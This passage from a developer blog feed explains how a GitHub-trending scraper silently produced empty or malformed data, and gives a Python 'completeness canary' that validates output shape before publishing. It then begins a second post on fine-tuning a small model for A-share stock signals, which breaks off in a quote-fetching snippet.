&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;200 OK&lt;/code&gt; with an empty body&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;no&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Container class truly renamed (&lt;code&gt;Box-row&lt;/code&gt; → &lt;code&gt;TrendRow&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;no&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Description class renamed (&lt;code&gt;col-9&lt;/code&gt; → &lt;code&gt;col-10&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;no&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;GitHub's real migration: &lt;code&gt;pr-4&lt;/code&gt; → &lt;code&gt;tmp-pr-4&lt;/code&gt; on layout classes&lt;/td&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;no&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Test 4 and 5 are not hypothetical. GitHub is in the middle of prefixing its utility classes with &lt;code&gt;tmp-&lt;/code&gt;, and today's trending markup reads &lt;code&gt;class="col-9 color-fg-muted my-1 tmp-pr-4"&lt;/code&gt;. A parser pinned to the full class string doesn't crash on that — it silently returns &lt;strong&gt;zero descriptions&lt;/strong&gt; while still reporting 21 healthy rows. Your row count looks perfect and every card on the site is blank.&lt;/p&gt;

&lt;p&gt;And the one that genuinely frightened me:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;--- TEST 6: selector requiring &amp;lt;a href="/ to be the FIRST attribute ---
    articles: 21
    extracted: 21  of which wrong (end with /stargazers): 21
    sample wrong value: omacom/omarchy/stargazers

--- TEST 7: same markup, attributes allowed before href ---
    extracted: 21 | sample: omacom/omarchy | wrong: 0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;GitHub reordered the attributes on the anchor inside each &lt;code&gt;&amp;lt;h2&amp;gt;&lt;/code&gt;. The old-style selector &lt;code&gt;&amp;lt;h2[^&amp;gt;]*&amp;gt;.*?&amp;lt;a href="/([^"]+)"&lt;/code&gt; requires the tag to literally begin with &lt;code&gt;&amp;lt;a href="&lt;/code&gt;. It no longer does, so the regex skipped the repo link entirely and latched onto the next &lt;code&gt;&amp;lt;a href="/..."&amp;gt;&lt;/code&gt; in the block — which is the stargazers link.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;21 out of 21 repo names came out as &lt;code&gt;owner/repo/stargazers&lt;/code&gt;.&lt;/strong&gt; Not an error. Not a warning. A perfectly-formed string with the wrong content, in every row, in every build.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why the green build is the wrong instrument
&lt;/h2&gt;

&lt;p&gt;The aggregator had exactly one health channel: the build status. The build status measures whether the code ran. It says nothing about whether the output was shaped like the output.&lt;/p&gt;

&lt;p&gt;That means a green run has two indistinguishable meanings:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;fresh data&lt;/strong&gt;, or&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;no data&lt;/strong&gt;, published confidently&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There's a second blind spot in the same archive. Of the 201 runs, &lt;strong&gt;17 pairs of consecutive runs were more than 8 hours apart&lt;/strong&gt;, the longest being 13.2 hours, against a nominal 4-per-day schedule of ~208 slots. GitHub Actions cron drifts and queues. From the outside, a 13-hour hole and a 6-hour heartbeat look identical — both are green.&lt;/p&gt;

&lt;p&gt;This is the same class of failure I keep running into with agents: &lt;code&gt;success&lt;/code&gt; is a statement about the executor, not about the artifact. (I wrote about a nastier version of it — twelve days of &lt;code&gt;success: true&lt;/code&gt; with zero articles actually published — &lt;a href="https://dev.to/felixwang007/my-ai-agent-reported-success-for-12-days-straight-every-article-got-0-reads-5ddj"&gt;here&lt;/a&gt;.)&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix: a completeness canary, run before publish
&lt;/h2&gt;

&lt;p&gt;Four assertions, none of which is "did it crash":&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Row floor&lt;/strong&gt; — fewer than 15 rows means the selector rotted.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Description coverage ratio&lt;/strong&gt; — if under 80% of rows have a description, the field selector broke even though the row count looks fine. This is the assertion that catches Tests 4 and 5.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Name shape&lt;/strong&gt; — every repo name must contain exactly one &lt;code&gt;/&lt;/code&gt;. This catches the &lt;code&gt;owner/repo/stargazers&lt;/code&gt; corruption. A shape check, not a length check, because the failure was well-formed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Snapshot age&lt;/strong&gt; — an unparsable or stale &lt;code&gt;updated_at&lt;/code&gt; fails. This is the only thing that catches the 13-hour cron hole.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Run against the live artifact and against deliberately damaged copies:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;LIVE  (2026-09-17 04:39 UTC): PASS
EMPTY scrape               : ['row count 0 &amp;lt; 15']
DESCRIPTIONS wiped         : ['description coverage 0/5 &amp;lt; 80%']
STALE snapshot (9.0h old)  : ['snapshot age 9.0h &amp;gt; 8h']
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;(The &lt;code&gt;0/5&lt;/code&gt; is because the trimmed &lt;code&gt;summary.json&lt;/code&gt; only keeps the top five rows for the Actions log — the canary itself runs against the full &lt;code&gt;trending.json&lt;/code&gt;.)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;verdict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lang_counts&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;min_rows&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;min_desc_ratio&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;max_age_hours&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;problems&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="n"&gt;repos&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;repos&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="n"&gt;total&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;total_repos&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;total&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;min_rows&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;problems&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;row count &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;total&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; &amp;lt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;min_rows&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;desc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;repos&lt;/span&gt; &lt;span class="nf"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;description&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()]&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;repos&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;desc&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;repos&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;min_desc_ratio&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;problems&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;description coverage &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;desc&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;repos&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; &amp;lt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;min_desc_ratio&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;bad&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;repos&lt;/span&gt;
           &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;bad&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;problems&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bad&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; malformed repo names e.g. &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;bad&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lang_counts&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="p"&gt;{}).&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;min_rows&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;problems&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;language page &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt; only &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; rows&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strptime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;updated_at&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;%Y-%m-%d %H:%M UTC&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;age&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;utcnow&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;total_seconds&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;3600&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;age&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;max_age_hours&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;problems&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;snapshot age &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;age&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;h &amp;gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;max_age_hours&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;h&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;problems&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Wire it into the workflow so a non-empty &lt;code&gt;problems&lt;/code&gt; list exits 1 and the last-good artifact stays published. A failed build that keeps good data beats a green build that serves an empty page — and it is the only way the alert channel ever fires.&lt;/p&gt;

&lt;p&gt;Two selector rules that would have prevented Tests 4–7 outright, both learned the hard way:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Never require attribute order.&lt;/strong&gt; &lt;code&gt;&amp;lt;a[^&amp;gt;]*href="/([^/]+)/([^"/]+)"&lt;/code&gt;, not &lt;code&gt;&amp;lt;a href="/&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Never pin a full class string.&lt;/strong&gt; &lt;code&gt;class="col-9[^"]*"&lt;/code&gt;, not &lt;code&gt;class="col-9 color-fg-muted my-1 pr-4"&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Both are one-character-worse regexes that survive a refactor that already happened once this month.&lt;/p&gt;

&lt;h2&gt;
  
  
  The takeaway
&lt;/h2&gt;

&lt;p&gt;Scrapers don't fail loudly. They degrade into well-formed nonsense, and the more CI you have, the more confident you get about it, because a green checkmark is a much louder signal than a missing description.&lt;/p&gt;

&lt;p&gt;If you're running anything that scrapes, check the &lt;em&gt;shape&lt;/em&gt; of your output on every run: field coverage ratios, value-format assertions, and freshness — not just exit codes. Count what should be there, not what happened to come back.&lt;/p&gt;




&lt;p&gt;The aggregator is open source and updating every 6 hours: &lt;strong&gt;&lt;a href="https://github.com/Felixwang007/github-daily-trending" rel="noopener noreferrer"&gt;github.com/Felixwang007/github-daily-trending&lt;/a&gt;&lt;/strong&gt; — a live snapshot site plus the parser and workflow, MIT, no API keys needed. If you build something on top of it, the canary above is the part worth stealing.&lt;/p&gt;

&lt;p&gt;I also publish the smaller tools I use daily — an A-share three-pillar screener, a technical-indicator library ported to match TongDaXin's formulas, and the de-slop writing checkers — on &lt;strong&gt;&lt;a href="https://xiaping.coze.com" rel="noopener noreferrer"&gt;虾评&lt;/a&gt;&lt;/strong&gt; and at &lt;strong&gt;&lt;a href="https://github.com/Felixwang007" rel="noopener noreferrer"&gt;github.com/Felixwang007&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Next week: I'm wiring the same canary pattern into a stock-data pipeline, where the failure mode is worse — a silently dropped field doesn't blank a web page, it corrupts a signal.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
    <item>
      <title>I Fine-Tuned a 7B Model on 549 A-Share Signal Samples. The Score Didn't Move — the Errors Did.</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Mon, 14 Sep 2026 04:00:48 +0000</pubDate>
      <link>https://dev.to/felixwang007/i-fine-tuned-a-7b-model-on-549-a-share-signal-samples-the-score-didnt-move-the-errors-did-44d3</link>
      <guid>https://dev.to/felixwang007/i-fine-tuned-a-7b-model-on-549-a-share-signal-samples-the-score-didnt-move-the-errors-did-44d3</guid>
      <description>&lt;p&gt;I fine-tuned a 7B model to classify Chinese A-share signals. Setup cost me four minutes of GPU time and 549 training examples. The output looked right. Then I ran the same eval twice with 4x the LoRA rank and 2.7x the epochs — and the score landed in the same place.&lt;/p&gt;

&lt;p&gt;This post is the honest version of that experiment: what the data actually looked like, which knobs did nothing, and where the bottleneck really was (spoiler: it was never the model).&lt;/p&gt;

&lt;h2&gt;
  
  
  The data: 549 samples, 12 stocks, 5 classes
&lt;/h2&gt;

&lt;p&gt;I collect A-share snapshots every trading day at 15:10 with a cron job. No paid API — Tencent's quote endpoint returns GBK-encoded text and needs no key:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;quote&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;            &lt;span class="c1"&gt;# code like "sh600519"
&lt;/span&gt;    &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://qt.gtimg.cn/q=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;gbk&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;~&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;price&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;float&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;prev_close&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;float&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;open&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;float&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt;
